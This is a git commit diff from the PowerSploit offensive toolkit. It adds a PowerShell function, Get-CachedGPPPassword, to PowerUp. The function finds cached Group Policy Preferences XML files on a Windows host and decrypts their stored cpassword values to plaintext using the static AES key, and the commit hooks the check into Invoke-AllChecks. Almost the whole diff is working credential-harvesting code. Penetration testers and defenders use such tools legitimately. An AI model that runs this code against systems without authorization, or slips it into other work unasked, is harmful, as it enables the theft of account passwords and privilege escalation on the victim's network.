diff options
author | Harmj0y <will@harmj0y.net> | 2016-06-06 15:37:52 -0400 |
---|---|---|
committer | Harmj0y <will@harmj0y.net> | 2016-06-06 15:37:52 -0400 |
commit | 5f8d8b0a10b07407430270e984b4a64d695070ee (patch) | |
tree | f3a2a5779ef76e8c621bea9dddd97b24d0afe60c /Privesc | |
parent | f6ee5cb92ee7c037e57f5b09bc01340efea59283 (diff) | |
download | PowerSploit-5f8d8b0a10b07407430270e984b4a64d695070ee.tar.gz PowerSploit-5f8d8b0a10b07407430270e984b4a64d695070ee.zip |
Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword.
Added Pester tests for Get-CachedGPPPassword.
Diffstat (limited to 'Privesc')
-rw-r--r-- | Privesc/PowerUp.ps1 | 208 |
1 files changed, 208 insertions, 0 deletions
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 447ce61..8dd14c5 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -3502,6 +3502,206 @@ function Get-SiteListPassword { } +function Get-CachedGPPPassword { +<# + .SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. + + PowerSploit Function: Get-CachedGPPPassword + Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords. + + .EXAMPLE + + PS C:\> Get-CachedGPPPassword + + + NewName : [BLANK] + Changed : {2013-04-25 18:36:07} + Passwords : {Super!!!Password} + UserNames : {SuperSecretBackdoor} + File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + + .LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param() + + # Some XML issues between versions + Set-StrictMode -Version 2 + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # helper that decodes and decrypts password + function local:Get-DecryptedCpassword { + [CmdletBinding()] + Param ( + [string] $Cpassword + ) + + try { + # Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + # Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + # Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + # helper that parses fields from the found xml preference files + function local:Get-GPPInnerFields { + [CmdletBinding()] + Param ( + $File + ) + + try { + + $Filename = Split-Path $File -Leaf + [XML] $Xml = Get-Content ($File) + + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + # check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + foreach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + # put [BLANK] in variables + if (-not $Password) {$Password = '[BLANK]'} + if (-not $UserName) {$UserName = '[BLANK]'} + if (-not $Changed) {$Changed = '[BLANK]'} + if (-not $NewName) {$NewName = '[BLANK]'} + + # Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) {Return $ResultsObject} + } + + catch {Write-Error $Error[0]} + } + + try { + $AllUsers = $Env:ALLUSERSPROFILE + + if($AllUsers -notmatch 'ProgramData') { + $AllUsers = "$AllUsers\Application Data" + } + + # discover any locally cached GPP .xml files + $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ( -not $XMlFiles ) { throw 'No preference files found.' } + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + ForEach ($File in $XMLFiles) { + Get-GppInnerFields $File.Fullname + } + } + + catch {Write-Error $Error[0]} +} + + function Write-UserAddMSI { <# .SYNOPSIS @@ -3716,6 +3916,14 @@ function Invoke-AllChecks { } "`n" + "`n`n[*] Checking for cached Group Policy Preferences .xml files...." + $Results = Get-CachedGPPPassword | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile + } + "`n" + if($HTMLReport) { "[*] Report written to '$HtmlReportFile' `n" } |